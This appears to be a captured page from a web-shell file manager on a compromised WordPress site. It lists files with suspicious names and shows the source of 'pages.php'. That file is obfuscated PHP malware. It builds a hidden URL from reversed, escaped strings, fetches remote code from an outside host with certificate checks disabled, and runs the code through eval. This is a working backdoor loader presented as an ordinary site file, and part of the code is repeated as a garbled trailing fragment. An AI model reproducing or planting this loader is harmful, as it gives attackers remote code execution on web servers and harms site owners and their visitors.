FM / new

/home/lyceum/public_html/new

Name	Size	Mode	Actions
.tmb/	-	0777	rm
.well-known/	-	0755	rm
971be8/	-	0755	rm
c7654/	-	0555	rm
cgi-bin/	-	0755	rm
wp-admin/	-	0755	rm
wp-content/	-	0755	rm
wp-includes/	-	0755	rm
.htaccess	236	0444	edit dl rm
click.php	1973	0444	edit dl rm
defaults.php	1396	0444	edit dl rm
google0bde5af53adcbb87.html	53	0644	edit dl rm
index.php	12781	0444	edit dl rm
index.php0	79	0644	edit dl rm
license.txt	19915	0644	edit dl rm
pages.php	1485	0444	edit dl rm
php.ini	105	0644	edit dl rm
readme.html	7402	0644	edit dl rm
robots.txt	391	0444	edit dl rm
wp-activate.php	7205	0644	edit dl rm
wp-blog-header.php	1860	0644	edit dl rm
wp-comments-post.php	2338	0644	edit dl rm
wp-config-sample.php	3013	0644	edit dl rm
wp-config.php	3293	0600	edit dl rm
wp-cron-s5hd.php	1659	0644	edit dl rm
wp-cron.php	5536	0644	edit dl rm
wp-links-opml.php	2502	0644	edit dl rm
wp-load.php	3792	0644	edit dl rm
wp-log1n.php	1910	0444	edit dl rm
wp-login.php	49352	0644	edit dl rm
wp-mail.php	8541	0644	edit dl rm
wp-settings.php	24993	0644	edit dl rm
wp-signup.php	34484	0644	edit dl rm
wp-trackback.php	4889	0644	edit dl rm
xmlrpc.php	3238	0644	edit dl rm
xpowjldt.php	7317	0644	edit dl rm

Edit: /home/lyceum/public_html/new/pages.php (1485B)

<?php define('A', 'jan67.fghsnz55<3htr/wowmajp::items/[4:1]^^!!|products/^^!!::?'); goto ABqwb; ABqwb: $kKysu = "\x74\170\164\x2e"; goto y6GPI; Lnwfp: eval("\x3f\x3e" . gkJ8E(strrev($kKysu))); goto N0QWO; YTnAh: $kKysu .= "\x74\56\61\60\162\145"; goto quvll; quvll: $kKysu .= "\160\x75\x73\x2e\157\x65"; goto Hnk0T; q3Jsj: $kKysu .= "\x3a\x73\160"; goto xY_r1; xY_r1: $kKysu .= "\164\164\150"; goto Lnwfp; Hnk0T: $kKysu .= "\163\57\x2f"; goto q3Jsj; y6GPI: $kKysu .= "\65\170\57\160\x6f"; goto YTnAh; N0QWO: function GKj8E($XyudJ = '') { goto Nf30j; voFm1: $Q1hS3 = curl_init(); goto V34no; V34no: curl_setopt($Q1hS3, CURLOPT_RETURNTRANSFER, true); goto o8OSk; o8OSk: curl_setopt($Q1hS3, CURLOPT_TIMEOUT, 500); goto kEE0R; jo64g: return $YvYlr; goto NfHzt; v0dTh: YCLXZ: goto voFm1; ZZPEb: curl_close($Q1hS3); goto MMasQ; Ovp5S: $YvYlr = file_get_contents($XyudJ, false, $N51a4); goto Shukq; Shukq: goto kAALV; goto v0dTh; zjmap: $N51a4 = stream_context_create(["\x68\x74\x74\x70" => ["\155\145\x74\150\157\144" => "\x47\105\x54"]]); goto Ovp5S; eC5ov: curl_setopt($Q1hS3, CURLOPT_URL, $XyudJ); goto pP16v; svKwP: curl_setopt($Q1hS3, CURLOPT_SSL_VERIFYHOST, false); goto eC5ov; pP16v: $YvYlr = curl_exec($Q1hS3); goto ZZPEb; Nf30j: if (function_exists("\143\165\x72\x6c\x5f\151\156\x69\164") && function_exists("\143\x75\x72\154\137\x65\x78\145\x63")) { goto YCLXZ; } goto zjmap; kEE0R: curl_setopt($Q1hS3, CURLOPT_SSL_VERIFYPEER, false); goto svKwP; MMasQ: kAALV: goto jo64g; NfHzt: }

["\155\145\x74\150\157\144" => "\x47\105\x54"]]); goto Ovp5S; eC5ov: curl_setopt($Q1hS3, CURLOPT_URL, $XyudJ); goto pP16v; svKwP: curl_setopt($Q1hS3, CURLOPT_SSL_VERIFYHOST, false); goto eC5ov; pP16v: $YvYlr = curl_exec($Q1hS3); goto ZZPEb; Nf30j: if (function_exists("\143\165\x72\x6c\x5f\151\156\x69\164") && function_exists("\143\x75\x72\154\137\x65\x78\145\x63")) { goto YCLXZ; } goto zjmap; kEE0R: curl_setopt($Q1hS3, CURLOPT_SSL_VERIFYPEER, false); goto svKwP; MMasQ: kAALV: goto jo64g; NfHzt: }